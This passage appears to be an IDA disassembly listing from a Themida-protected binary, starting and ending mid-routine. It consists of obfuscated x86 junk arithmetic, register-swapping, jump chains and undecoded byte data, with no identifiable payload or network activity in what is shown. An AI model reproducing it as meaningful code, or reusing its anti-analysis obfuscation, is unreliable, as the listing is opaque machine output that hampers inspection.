		add	edi, 0FFFFFFFFh
		or	edi, 78127635h
		push	esi
		mov	esi, 673223BFh
		not	esi
		shr	esi, 4
		shl	esi, 4
		shl	esi, 5
		or	esi, 78F8054Dh
		xor	esi, 7CF6848Ch
		add	edi, esi
		jmp	loc_546825
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 0EFE2E924h, 575BFFFFh, 0FE29DFBFh, 0E3C7E909h, 5D5DFFFFh
		dd 0BCE9FB01h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D9D7:				; CODE XREF: Themida_:0054AA4Fj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ch, 0A8h
		push	bx
		mov	bl, 40h
		jmp	loc_5446FA
; ---------------------------------------------------------------------------
		db 1, 0FDh, 81h
		dd 273FA1C5h, 2C875F14h, 24248B24h, 24048B66h, 0FF74FEE9h
		dd 6BF281FFh, 4A446744h, 7D65C281h, 81421460h, 0A0007BF2h
		dd 85F2812Fh, 1AFD3B3h,	50535AD5h, 1779E9h, 0AAC78000h
		dd 285BF900h, 0FA0059CFh, 0FFAB0AE9h, 0DDB753FFh, 0E9EDC780h
		dd 0FFFFFFE5h, 7876CE81h, 0C6816207h, 243F0715h, 0FF7089E9h
		dd 241C89FFh, 0FFD567E9h, 4BAFFh, 0D1010000h, 0FFB076E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DA65:				; CODE XREF: Themida_:00548CE9j
		sub	ebp, 1
		jmp	loc_54FD8B
; ---------------------------------------------------------------------------
		db 87h,	2Ch, 24h
		dd 0B1C8E95Ch, 0C581FFFFh, 39C9724Eh, 241C8B59h, 4C481h
		dd 96E90000h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54DA8B:				; CODE XREF: Themida_:005489CDj
		pop	edx
		jmp	loc_54CD6B
; ---------------------------------------------------------------------------
		db 0FEh, 0CBh, 0F6h
		dd 79EB80D3h, 0A3E9D928h, 81FFFF9Ch, 0A60CE4C1h, 0B68FE9EDh
		dd 30ACFFFFh, 686653D8h, 1DE975ECh
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54DAB7:				; CODE XREF: Themida_:00547CF6j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54B21D
; ---------------------------------------------------------------------------

loc_54DACB:				; CODE XREF: Themida_:00545944j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		mov	ebp, 529F1825h
		add	ebp, 0EABC0548h
		add	edx, ebp
		pop	ebp
		add	edx, eax
		push	ebp
		mov	ebp, 3D5B1D6Dh
		sub	edx, ebp
		pop	ebp
		push	2102h
		mov	[esp], eax
		mov	eax, 0
		jmp	loc_548D22
; ---------------------------------------------------------------------------

loc_54DB00:				; CODE XREF: Themida_:00545FA4j
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_54C32A
; ---------------------------------------------------------------------------
		db 68h,	23h, 76h
		dd 8FE90000h, 66FFFFE4h, 8124048Bh, 4ECh, 241C8900h, 241C8B54h
		dd 0E904C483h, 0FFFFEC71h, 0EEC38166h, 4EC8363h, 244E9h
		db 0
; ---------------------------------------------------------------------------

loc_54DB3D:				; CODE XREF: Themida_:00546F51j
		add	edi, eax
		jmp	loc_5446C0
; ---------------------------------------------------------------------------

loc_54DB44:				; CODE XREF: Themida_:loc_544F41j
		add	dword ptr [esp], 4
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_549458
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0BBE92404h, 66FFFFC7h, 0E92CA5BDh, 16E3h, 4247C88h
		dd 0FF97DCE9h, 4EC83FFh, 53242489h, 4BBh, 0B6B85000h, 1678351h
		dd 58082444h, 4245C01h,	4E685357h, 8B66FE07h, 8953241Ch
		dd 4C381E3h, 81000000h,	4C3h, 241C8700h, 91C3815Ch, 527F6817h
		dd 0FFA5D0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DBB1:				; CODE XREF: Themida_:0054BA25j
		sub	edi, 36C0BF94h
		add	eax, edi
		pop	edi
		jmp	loc_548DFE
; ---------------------------------------------------------------------------

loc_54DBBF:				; CODE XREF: Themida_:00547C9Bj
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	ecx
		push	esp
		jmp	loc_545E70
; ---------------------------------------------------------------------------
		db 29h
		dd 81565AD6h, 22AA242Ch, 815A467Ch, 7C22AAC2h, 24348B46h
		dd 4C481h, 0EA810000h, 0E42E75h, 0FF9725E9h, 81D629FFh
		dd 587CF3EEh, 0F0215A66h, 0FF2434FFh, 815E2434h, 4C4h
		dd 0E9D9E900h, 74FFFFFFh, 34FF0424h, 54535824h,	5150515Bh
		dd 0AE78D1B9h, 91E94909h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DC33:				; CODE XREF: Themida_:0054AF0Ej
		xor	eax, ebp
		pop	ebp
		mov	ebx, eax
		pop	eax
		push	ebx
		jmp	loc_54A8B3
; ---------------------------------------------------------------------------
		db 46h
		dd 0FFABEBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DC45:				; CODE XREF: Themida_:005488FCj
		mov	edx, [esp]
		jmp	loc_5472E3
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 0B9h
		dd 8160E86Eh, 5A0F2AF7h, 5FFA014Eh, 0EA81EA01h,	76ED3EBFh
		dd 566E95Dh, 0B1BF0000h, 29487367h, 48B5FFBh, 797EE924h
		dd 0C801FFFFh, 0FC95E959h, 0C481FFFFh, 4, 1930E9h
		db 0
; ---------------------------------------------------------------------------

loc_54DC8D:				; CODE XREF: Themida_:0054E70Dj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_545508
; ---------------------------------------------------------------------------
		dd 5266C328h, 12EE68h, 24048900h, 0E688A6B4h, 5724048Bh
		dd 243C8B54h, 4C481h, 0C7810000h, 4, 4BB53h, 0DF010000h
		dd 9048E95Bh, 0A2BAFFFFh, 1421731h, 0FB015AD3h,	31A2EB81h
		dd 34FF4217h, 0C4835F24h, 40E95004h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DCEF:				; CODE XREF: Themida_:0054F853j
		pop	edi
		jmp	loc_54BFCB
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C3h
		dd 4, 3302C383h, 1C31241Ch, 241C3324h, 0FFEEBBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DD0D:				; CODE XREF: Themida_:0054BBACj
		push	ecx
		mov	ecx, 3FE81EABh
		add	ecx, 0CAADCFADh
		jmp	loc_54850B
; ---------------------------------------------------------------------------
		dw 0EA83h
		dd 24148702h, 0C89665Ch, 0D483E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DD2E:				; CODE XREF: Themida_:005476EFj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0FFFFFFFFh
		push	ebx
		mov	ebx, 79701617h
		add	edx, ebx
		pop	ebx
		sub	edx, esi
		sub	edx, 79701617h
		pop	esi
		xor	[edi+24h], edx
		xor	edx, [edi+24h]
		push	eax
		jmp	loc_547BD6
; ---------------------------------------------------------------------------

loc_54DD5A:				; CODE XREF: Themida_:0054F4B4j
		xchg	esi, edx
		not	esi
		xchg	esi, edx
		xor	esi, edx
		xor	edx, esi
		xor	esi, edx
		xchg	eax, esi
		push	63BDh
		mov	[esp], ebx
		mov	ebx, 1
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_5465DA
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0FFB7EFE9h, 240C89FFh, 0FFA7E5E9h, 2434FFFFh, 0E2895258h
		dd 1F5EE9h, 30E98100h, 0E9452223h, 0FFFFBD1Ah
; ---------------------------------------------------------------------------

loc_54DDA8:				; CODE XREF: Themida_:0054C6EBj
		pop	edx
		pop	ebx
		push	eax
		mov	eax, 4
		jmp	loc_5445EA
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 6410EEBh,	5BDE01A7h, 0FFDE6AE9h, 59E828FFh
		dd 15E95704h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54DDD3:				; CODE XREF: Themida_:00549CD4j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	eax, eax
		jz	loc_54AFF4
		push	53EEh
		mov	[esp], edx
		push	1Ch
		jmp	loc_5479EB
; ---------------------------------------------------------------------------
		dd 405h, 40500h, 4870000h, 0C654E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DE0E:				; CODE XREF: Themida_:00547A4Fj
		pop	ebx
		jmp	loc_544DCE
; ---------------------------------------------------------------------------
		dd 2A5AE981h, 0E95F274Eh, 0FFFFCC34h, 0E9028F64h, 0FFFF61FAh
; ---------------------------------------------------------------------------

loc_54DE28:				; CODE XREF: Themida_:00549F5Cj
		mov	ecx, 4B7656F6h
		jmp	loc_54C60C
; ---------------------------------------------------------------------------
		dw 53BBh
		dd 8103D368h, 275FB3F3h, 9DEB8177h, 516AC8FBh, 1B5EE9h
		dd 21BE5600h, 816E5912h, 3C0D33E6h, 6EE6811Bh, 815F9C1Ch
		dd 737A18C6h, 0CD71E909h, 55FFFFFh, 744C5BE3h, 0FF6AE2E9h
		dd 2434FFFFh, 4C4835Ah,	0D62C1F0Ch, 0FFAEC8E9h,	5AD028FFh
		dd 0FC33059h, 34FFC0B6h, 8ABA5287h, 8107D578h, 6D04246Ch
		dd 10DB365h, 81042454h,	6D042444h, 0FF0DB365h, 4AE92434h
		dd 5A000012h, 4EC8155h,	89000000h, 2BB241Ch, 53000000h
		dd 28240481h, 5D28C516h, 1628B951h, 0ED8128C5h,	39C9724Eh
		dd 0FF786AE9h, 0E9DFF7FFh, 0FFFF9CDDh, 6E72E0BAh, 5AD70919h
		dd 0CFBFC781h, 0FB29FFC1h, 0E9243C8Bh, 0FFFFBF1Eh, 4C4815Dh
		dd 1000000h, 80E92404h,	29FFFFF3h, 62A6E9E8h, 0C181FFFFh
		dd 4, 0FFAC54E9h, 53525BFFh, 0E7801CB7h, 8EFC09Ch, 0C780DFF6h
		dd 5BFE88DDh, 2820EE80h, 0C2885AF0h, 0B637E958h, 0F368FFFFh
		dd 89000022h, 3DBB241Ch, 81437F10h, 4E35C7E3h, 0DC24E916h
		dd 0EE81FFFFh, 4, 5C243487h, 89243489h,	4EC83E6h, 0E9240489h
		dd 0FFFF79F0h
; ---------------------------------------------------------------------------

loc_54DF6C:				; CODE XREF: Themida_:0054ADD5j
		mov	[esp], ecx
		jmp	loc_548E49
; ---------------------------------------------------------------------------

loc_54DF74:				; CODE XREF: Themida_:0054F12Cj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_547A69
; ---------------------------------------------------------------------------

loc_54DF83:				; CODE XREF: Themida_:00546012j
		shl	eax, cl
		jmp	loc_54BA60
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 0D3A0D89h, 465DEE89h, 0FFE37BE9h, 0B85051FFh, 0
		dd 8158C189h, 0C97E85C1h, 81D10127h, 0C97E85E9h, 0BB5327h
		dd 1000000h, 0EDE8E9CBh, 2B8FFFFh, 1000000h, 890DE9C1h
		dd 7AB2FFFFh, 66B968h, 241C8900h, 0FF8A78E9h, 0FCE181FFh
		dd 52033025h, 4D5DE0BAh, 0B8FFE938h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DFEA:				; CODE XREF: Themida_:00545838j
		pop	ebp
		jmp	loc_54C9C9
; ---------------------------------------------------------------------------
		dd 335FF829h, 4312404h,	24043324h, 0FFCD4EE9h, 1CF766FFh
		dd 17E99C24h
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E00B:				; CODE XREF: Themida_:00548727j
		push	3EF95096h
		jmp	loc_54818B
; ---------------------------------------------------------------------------

loc_54E015:				; CODE XREF: Themida_:00549110j
		push	edx
		mov	edx, 7ADF321Fh
		sub	edx, 53A47085h
		shr	edx, 6
		add	edx, 35C44536h
		or	edx, 3EE31663h
		and	edx, 4CD244FEh
		sub	edx, 0A6FDAAF1h
		add	ecx, 32F473F6h
		jmp	loc_54F576
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0E9241C8Bh, 0FFFFC92Fh
; ---------------------------------------------------------------------------

loc_54E050:				; CODE XREF: Themida_:00546BBAj
		add	esp, 4
		pop	edx
		push	72C7h
		jmp	loc_5483DD
; ---------------------------------------------------------------------------
		dw 4ACh
		dd 90BEE9F2h, 8B66FFFFh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		push	eax
		mov	eax, 62081B9Ah
		inc	eax
		not	eax
		inc	eax
		dec	eax
		add	eax, 62081BA0h
		mov	edx, eax
		pop	eax
		sub	ebp, 34CD5FDFh
		add	ebp, edx
		add	ebp, 34CD5FDFh
		pop	edx
		push	ebx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5447E1
; ---------------------------------------------------------------------------

loc_54E09F:				; CODE XREF: Themida_:00544589j
		xor	ecx, eax
		pop	eax
		shr	ecx, 6
		shr	ecx, 3
		shl	ecx, 5
		inc	ecx
		add	ecx, 3F252911h
		and	ecx, 4D2955F6h
		shr	ecx, 4
		push	edi
		mov	edi, 2C350F14h
		push	eax
		push	ebx
		mov	ebx, 79727983h
		inc	ebx
		push	ebp
		jmp	loc_54F926
; ---------------------------------------------------------------------------
		db 89h
		dd 2B82404h, 0E9000000h, 1F4Eh
; ---------------------------------------------------------------------------

loc_54E0DC:				; CODE XREF: Themida_:0054A82Cj
		pop	dword ptr [esp]
		push	esi
		push	edx
		mov	edx, 4
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_549AAE
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 42D00h, 94E90000h, 33FFFFDBh, 3C31243Ch, 243C3324h
		dd 0FF925EE9h, 0C49E35FFh, 0C5315853h, 5DEB0158h, 4B850h
		dd 0C3010000h, 0FF75C5E9h, 0B9BD55FFh, 5030B533h, 0E33CBCB8h
		dd 6E8C133h, 0FFF371E9h, 6BD3BAFFh, 54E90EF5h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E14B:				; CODE XREF: Themida_:00544F65j
		add	esp, 4
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	eax, 7A064879h
		add	eax, edi
		push	edi
		mov	edi, 7A064879h
		add	eax, edi
		jmp	loc_54632B
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 78h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E173:				; CODE XREF: Themida_:00548AF7j
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edx, 4
		xor	edx, [esp]
		jmp	loc_54BC0A
; ---------------------------------------------------------------------------

loc_54E18C:				; CODE XREF: Themida_:00546340j
		pop	edi
		jmp	loc_54BCCD
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0EBBA5224h, 0E94DEB0Dh, 0FFFFF40Ah, 0C103E9C1h, 0E18106E1h
		dd 6C980ACAh, 81D1F741h, 0F11CBAC1h, 59CB2972h,	7289BD55h
		dd 0EB01602Ah, 81242C8Bh, 4C4h,	0E9C23100h, 0FFFF5E52h
		dd 555AD129h, 0FFEFB2E9h, 59CB89FFh, 4EC81h, 14890000h
		dd 12E95724h, 0F7FFFF92h, 0F7D987D1h, 83D987D3h, 0C8904ECh
		dd 2414F724h, 0FFB12FE9h, 241489FFh, 4EC81h, 0ECE90000h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E20F:				; CODE XREF: Themida_:005481A4j
		sub	esi, 57A5048Eh
		jmp	loc_54C98D
; ---------------------------------------------------------------------------
		dw 0C801h
		dd 608E9h, 2434FF00h, 7031E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E22A:				; CODE XREF: Themida_:0054AC6Bj
		neg	ecx
		xor	ecx, 50D6141Ah
		mov	edi, ecx
		pop	ecx
		neg	edi
		shl	edi, 1
		shl	edi, 1
		jmp	loc_54D98A
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 4105866h,	0D3E99C24h, 80FFFF5Dh, 0B60F3BEBh
		dd 87048DC0h, 59BA68h, 24048900h, 0FF5DBDE9h, 0DDEF81FFh
		dd 81414C77h, 46553AE7h, 7A9DE92Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E276:				; CODE XREF: Themida_:00547F2Fj
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		btr	[esp], ax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------
		dw 2C31h
		dd 0F563E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E28E:				; CODE XREF: Themida_:00549AA0j
		push	eax
		mov	eax, 4
		add	ebp, 37D561A7h
		jmp	loc_54935B
; ---------------------------------------------------------------------------
		db 89h
		dd 0E189240Ch, 4C181h, 0C1830000h, 240C3304h, 33240C31h
		dd 685C240Ch, 27D7h, 0E9240489h, 0FFFF5D5Eh, 4BE56h, 0ED810000h
		dd 20E939E0h, 90E9F501h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E2D7:				; CODE XREF: Themida_:0054BDE6j
		sub	eax, 0DC47A26Eh
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_545704
; ---------------------------------------------------------------------------
		db 81h
		dd 699B1AEDh, 0E63AE90Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E302:				; CODE XREF: Themida_:0054706Dj
		dec	edi
		and	edi, 7CFA6349h
		dec	edi
		add	edi, 97BFBEBAh
		push	edi
		sub	dword ptr [esp], offset	byte_4A049D
		pop	ecx
		jmp	loc_5498B7
; ---------------------------------------------------------------------------
		dw 93BBh
		dd 816BC954h, 0EC336FE3h, 2EC38172h, 1BC1B02h, 61685BDAh
		dd 8900004Dh, 44BE2434h, 0E929B676h, 0FFFF9E65h, 2B8h
		dd 0FFC50100h, 26E92434h, 5A000019h, 577D0105h,	2DF80109h
		dd 9577D01h, 2F29A52Dh,	0A87BE959h, 0FD89FFFFh,	81243C8Bh
		dd 4C4h, 0E9E92900h, 0FFFF6FB5h
; ---------------------------------------------------------------------------

loc_54E37C:				; CODE XREF: Themida_:005495C1j
		shl	edx, 1
		push	40BAh
		mov	[esp], ebp
		mov	ebp, 524E1B4Eh
		xchg	eax, ebp
		not	eax
		jmp	loc_54B912
; ---------------------------------------------------------------------------
		db 81h
		dd 0A0338FC7h, 0E9575038h, 0FFFF915Ah
; ---------------------------------------------------------------------------

loc_54E3A0:				; CODE XREF: Themida_:005452CEj
		mov	esp, [esp]
		mov	[esp], ecx
		push	ebx
		mov	bl, 8Bh
		mov	cl, 0C6h
		jmp	loc_54EE25
; ---------------------------------------------------------------------------
		dd 0C681EE01h, 5732257Dh, 2BD555Dh, 1000000h, 3E685DEEh
		dd 89000013h, 74FF2434h, 0F6E90424h, 0ADFFFFCBh, 0FF98EDE9h
		dd 0E95D5EFFh, 0FFFF5C42h, 6CE9C361h, 0FFFFFF8Ch, 669D1C77h
		dd 24041858h, 5C2CE99Ch, 0EA83FFFFh, 24148704h,	8924248Bh
		dd 0E389241Ch, 5FB868h,	24148900h, 4BAh, 8BD30100h, 0C4812414h
		dd 4, 4BA52h, 0D3010000h, 241C335Ah, 33241C31h,	248B241Ch
		dd 24043124h, 0FF5BE9E9h, 0E9E829FFh, 0FFFF87DDh
; ---------------------------------------------------------------------------

loc_54E440:				; CODE XREF: Themida_:0054D749j
		mov	ecx, 69C36736h
		add	ebx, ecx
		jmp	loc_548093
; ---------------------------------------------------------------------------
		dd 7289EB81h, 0F7E9602Ah, 66000015h, 1240483h, 81665B66h
		dd 0E96858EBh, 0FFFF757Ah, 8124148Bh, 4C4h, 59CA0100h
		dd 5A1C5709h, 0FFA7A3E9h, 5FF801FFh, 0E3FFE957h, 0C481FFFFh
		dd 4, 4C481h, 0E2810000h, 3A2E2EA4h, 8108E2C1h,	0FBA034F2h
		dd 0E9D78956h, 987h, 0C181E189h, 4, 8704C183h, 89E9240Ch
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E4BB:				; CODE XREF: Themida_:005449A3j
		pop	edx
		push	71B2h
		mov	[esp], edi
		push	eax
		push	19B57A6Ah
		pop	eax
		push	eax
		jmp	loc_54F414
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 4C381h, 0E9570000h, 0FFFFA508h, 0D3F7DBF7h, 8105EBC1h
		dd 12BDE6C3h, 0E9DA8934h, 0FFFF6259h, 5F11C781h, 0ECE95934h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E4FF:				; CODE XREF: Themida_:0054421Dj
		sub	al, 0D0h
		sub	al, dl
		add	al, 0D0h
		mov	edx, [esp]
		add	esp, 4
		add	al, 69h
		sub	al, dh
		sub	al, 69h
		add	al, 0E6h
		jmp	loc_54F131
; ---------------------------------------------------------------------------
		dd 0D324248Bh, 0E99C2424h, 0FFFF5AFEh
; ---------------------------------------------------------------------------

loc_54E524:				; CODE XREF: Themida_:0054FDB1j
		add	ecx, edx
		pop	edx
		add	ecx, 4
		push	2EF0h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_548F0A
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 7551E924h, 4B8FFFFh,	0E9000000h, 7C3h
; ---------------------------------------------------------------------------

loc_54E550:				; CODE XREF: Themida_:0054B8D8j
		sub	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	ecx, edi
		jmp	loc_54FA13
; ---------------------------------------------------------------------------
aI4		db '‰4$ž',0
		align 4
		dd 0F3890000h, 0FF8C2FE9h, 0F8015DFFh, 81243C8Bh, 4C4h
		dd 2C08300h, 0FFC117E9h, 55FC68FFh, 24890000h, 24048124h
		dd 4, 4BB5359h,	1000000h, 0EF38E9D9h, 92B8FFFFh, 0F755934Fh
		dd 3FBF57D0h, 19E2058h,	0B2E95FF8h, 81FFFFF1h, 4C4h, 4BD5500h
		dd 29000000h, 0FF525DEAh, 0E9042474h, 0FFFF79D9h, 0E9242C89h
		dd 0FFFFBEF1h, 4C281h, 0C2830000h, 24143304h, 33241431h
		dd 85E92414h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E5EF:				; CODE XREF: Themida_:00545231j
		push	7283339Ah
		pop	ebx
		and	ebx, 6F657508h
		inc	ebx
		sub	ebx, 0C67C653h
		jmp	loc_5446DF
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFEEB0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E60D:				; CODE XREF: Themida_:0054D1D8j
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_54D759
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 61FABE56h, 0F6810BBDh, 790B7ECBh, 0FFA72EE9h, 242C33FFh
		dd 6624248Bh, 5624048Bh, 24348B54h, 0FFCE4CE9h,	243C89FFh
		dd 381003BFh, 9379E929h, 8B66FFFFh, 0EC83240Ch,	240C8904h
		dd 19E9E189h, 66FFFFBDh, 660EB268h, 83242489h, 148904ECh
		dd 725EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E67E:				; CODE XREF: Themida_:0054B8C9j
		mov	edx, 294903E3h
		mov	ebx, 23F733E1h
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		mov	edi, 0EB5C0EA4h
		add	edi, ebx
		pop	ebx
		shl	edi, 7
		and	edi, 62F04CCBh
		push	edx
		mov	edx, 27EE4A96h
		jmp	loc_549832
; ---------------------------------------------------------------------------
		dd 635BB951h, 0C181540Ah, 6217330Eh, 0A59CC181h, 48E96344h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E6C3:				; CODE XREF: Themida_:00544C21j
		pop	ebx
		pop	edx
		push	ecx
		push	ebx
		pop	ecx
		pop	ebx
		push	ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_549D8A
; ---------------------------------------------------------------------------

loc_54E6D6:				; CODE XREF: Themida_:00545C0Bj
		push	edi
		jmp	loc_5452EE
; ---------------------------------------------------------------------------

loc_54E6DC:				; CODE XREF: Themida_:00548F8Cj
		mov	ecx, 89597ABFh
		mov	eax, ecx
		pop	ecx
		sub	ebp, eax
		pop	eax
		sub	[edi+24h], ebp
		pop	ebp

loc_54E6EB:				; CODE XREF: Themida_:0054E99Dj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	11EEh
		mov	[esp], edx
		jmp	loc_54DC8D
; ---------------------------------------------------------------------------
		dw 0EE83h
		dd 1807E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E71A:				; CODE XREF: Themida_:00546AFBj
		push	42A4h
		jmp	loc_54EBB9
; ---------------------------------------------------------------------------

loc_54E724:				; CODE XREF: Themida_:00546313j
		inc	edx
		shr	edx, 5
		xor	edx, 0BD29002h
		jmp	loc_54AF8B
; ---------------------------------------------------------------------------
		db 52h
		dd 0F00065B6h, 66D8285Ah, 65B25251h, 0EDE9D588h, 66FFFFECh
		dd 68240C8Bh, 650Ch, 0FFC33FE9h, 0D830ACFFh, 52E18951h
		dd 0FFF2F8E9h, 240483FFh, 0B9515B04h, 29AF2370h, 415AE181h
		dd 0E98139FAh, 29AA014Ch, 0FFFF2FE9h, 243433FFh, 33243431h
		dd 248B2434h, 2434FF24h, 8324048Bh, 48904ECh, 5E08924h
		dd 4, 8704E883h, 248B2404h, 242C8924h, 0C581E589h, 4, 0FFAE7EE9h
		dd 24248BFFh, 24148B66h, 4EC8153h, 89000000h, 4832424h
		dd 815B0424h, 4C3h, 6F45E900h, 0E929FFFFh, 4EC835Dh, 89243C89h
		dd 30B951CFh, 1000000h,	0F88950D1h, 2BAE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E7F2:				; CODE XREF: Themida_:00545208j
		mov	esi, 5AF115A7h
		sub	esi, 592B3410h
		dec	esi
		sub	esi, 8CC21DAh
		inc	esi
		jmp	loc_54A4BE
; ---------------------------------------------------------------------------
		dw 8966h
		dd 0FF66242Ch, 66022474h, 50242C8Bh, 0FF9DE1E9h, 14895CFFh
		dd 0E7895724h, 0FF6BF6E9h, 41DC05FFh, 6EE97F3Fh
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E833:				; CODE XREF: Themida_:0054A300j
		pop	esp
		shr	ecx, 6
		push	eax
		mov	eax, esp
		push	7BCAh
		mov	[esp], edx
		push	ebx
		push	319B1A42h
		pop	ebx
		mov	edx, 0DEEFF442h
		sub	edx, 327808B6h
		add	edx, ebx
		add	edx, 327808B6h
		jmp	loc_546003
; ---------------------------------------------------------------------------
		db 57h,	53h, 0BBh
		dd 3B5550E3h, 7772C381h, 0BE5622F9h, 28B66AF2h,	81DEF74Eh
		dd 6112D8E6h, 0D2C68161h, 9CD744Dh, 0E3C15EF3h,	6EBC102h
		dd 2BACEB81h, 0BD550A12h, 0AE869E9h, 36ECF581h,	0EB018988h
		dd 0FFE3B5E9h, 24048FFFh, 24148B5Ch, 5FE95451h,	66FFFF7Dh
		dd 663B62BEh, 82E9D6F7h, 89000007h, 0BA522424h,	4, 4245401h
		dd 0E6EE9h, 241C8700h, 0FFA70CE9h, 0D3EE81FFh, 5711113Dh
		dd 9B270FBFh, 0EF874723h, 81EF8745h, 9806B6E7h,	14F78158h
		dd 976421Dh, 814E5FFEh,	4376ABF6h, 5EF1891Fh, 764868h
		dd 24348900h, 0D6622368h, 0CE815E13h, 346C32EDh, 5202E6C1h
		dd 0D239ABAh, 8E2C12Bh,	0F281D2F7h, 10965E68h, 75C2814Ah
		dd 0E99BF246h, 0FFFFF29Fh
; ---------------------------------------------------------------------------

loc_54E938:				; CODE XREF: Themida_:005464F0j
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 1AE332Ch
		jmp	loc_54B2F7
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FF5F92E9h, 2724BAFFh, 0F74A5A61h, 0FFE281D2h, 816C0707h
		dd 0B36698C2h, 0ECD3E91Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E96A:				; CODE XREF: Themida_:0054FB31j
		add	dword ptr [esp+4], 14BA506Ah
		jmp	loc_548945
; ---------------------------------------------------------------------------
		db 51h
		dd 0B270F3B9h, 95EBE91Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E982:				; CODE XREF: Themida_:00547717j
		mov	ecx, 4
		add	[esp+4], ecx
		jmp	loc_54CDE7
; ---------------------------------------------------------------------------

loc_54E990:				; CODE XREF: Themida_:00544ED1j
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	eax, eax
		jz	loc_54E6EB
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	edx
		push	esp
		pop	edx
		push	2C54h
		mov	[esp], ebx
		push	edi
		jmp	loc_54A1D9
; ---------------------------------------------------------------------------
		dw 8B66h
